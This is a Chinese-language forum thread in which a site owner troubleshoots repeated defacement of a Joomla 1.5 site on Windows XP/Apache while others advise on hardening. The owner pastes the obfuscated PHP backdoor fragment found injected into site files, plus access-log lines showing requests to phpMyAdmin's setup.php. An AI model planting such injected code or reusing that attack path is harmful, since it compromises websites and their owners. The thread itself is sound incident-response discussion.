各位大大好：

約去年10月左右，網站約3~4天就會被駭一次，狀況是網站會只剩下banner，其餘的秀空白
然後會出現js錯誤，像是asset不支援之類的訊息，
我的joomla版本為Joomla! 1.5.25 Stable


不知道大家有沒有可以建議的方向，謝謝！

可參考Joomla! Web Security 一書, 裡面有許多資訊安全防護的最佳實踐.

http://www.amazon.com/Joomla-Web-Security-Tom-Canavan/dp/1847194885/ref=sr_1_1?ie=UTF8&qid=1333334749&sr=8-1

不知道你所謂的被駭的情況。
能否寫一下主機的規格（os,apache, mysql, php）

和有看到異常的流量或來源ip嗎？
或是有什麼檔案被改過？
駭完後是自動回復，還是要改那裡才會回復？

謝謝大家的回覆

PHP 架設在: Windows NT 5.1 build 2600
資料庫版本: 5.0.51b-community-nt-log
資料庫校對: utf8_general_ci
PHP 版本: 5.2.6
網站伺服器: Apache/2.2.8 (Win32) PHP/5.2.6
網站伺服器的PHP 介面: apache2handler
Joomla! 版本: Joomla! 1.5.25 Stable [ senu takaa ama mamni ] 14-November-2011 18:00 GMT

每次都要把備份的網站倒回才會正常，不過我也沒有一個檔案一個檔案試，
所以也不清楚是那些檔案被修改，不過發作的時候，前台會出現一連串的js錯誤，
然後只剩下Banner能看，其餘空白。

目前我是先將沒用到的模組都移除，然後後台裝了backendtoken ，讓後臺需要參數才能看到，
目前約1個禮拜，尚未被駭，希望沒問題了，若有問題我會持續回報

有想過要將joomla升級到2.5以後的版本，但是怕樣板跟模組不支援...也怕升級了沒用，
目前就只能走一步算一步XD。

1.先用WinMerge（http://winmerge.org/）的比較程式比對一下有那些檔案被改了。
2.因為你用的是Windows（應該是WinXP），相對於linux就比較不安全，是否有定期作更新？
3.同2，檔案的權限也是一個問題點，對於檔案的權限設定是如何？
4.同2，是否有安裝防火牆等軟體，能基本上擋去一些不必要的攻擊？
5.同2，是否有主機的log可檢查（apache中應該有access.log和error.log）

不過適當的建議是不要使用WinXP或Win7等作業系統架設網站，就連適用於桌上主機用的linux也不建議用來架網站。除了效能差之外，安全性也差。

eddy兄：

感謝您的熱心回復，

1.這工具應該會幫助我很多，感謝！
2.有設定自動更新，所以windows update是最新的
3.目前針對php檔案都是下唯獨，然後其他目錄就加減設定，因為wind xp有個麻煩點，就是他沒法選定資料夾直接設定唯獨，他會說成功，但是事實上還是沒設定好。
4.防火牆跟防毒目前是用小紅傘的付費版.
5.我會看看的

真的是十分感謝^^

對了，您是管理員，跟您建議一下，目前文章被回覆的時候，會收到Email通知，
但是Email中的文章連結，確不能連結到文章，這樣會麻煩些，
不過很怪的是連結應該是正確的，但是就是會被導引到404，
跟您反映一下，謝謝^^

經過一個多禮拜沒事後，昨天有被駭了。
我比對過檔案，一些php檔案裡面被植入了下列代碼
請問該如何解決XD

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7 $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

然後我查了access.log發現檔案被改寫的時候，有下列的存取紀錄

75.148.153.193 - - [16/Apr/2012:07:44:02 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 14059
75.148.153.193 - - [16/Apr/2012:07:44:03 +0800] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 455602

是不是我的phpmyadmin有問題？

目前因為phpMyAdmin很少用到，所以就先移出去www目錄外，希望有點用處

你是用wamp、xampp還是appserv架站的？
是那個版本？

基本上都不建議用這些wamp軟體架設正式營運的網站，因為原本設計就是用來練習或測試用的。（你可以上他們的網站看一下說明）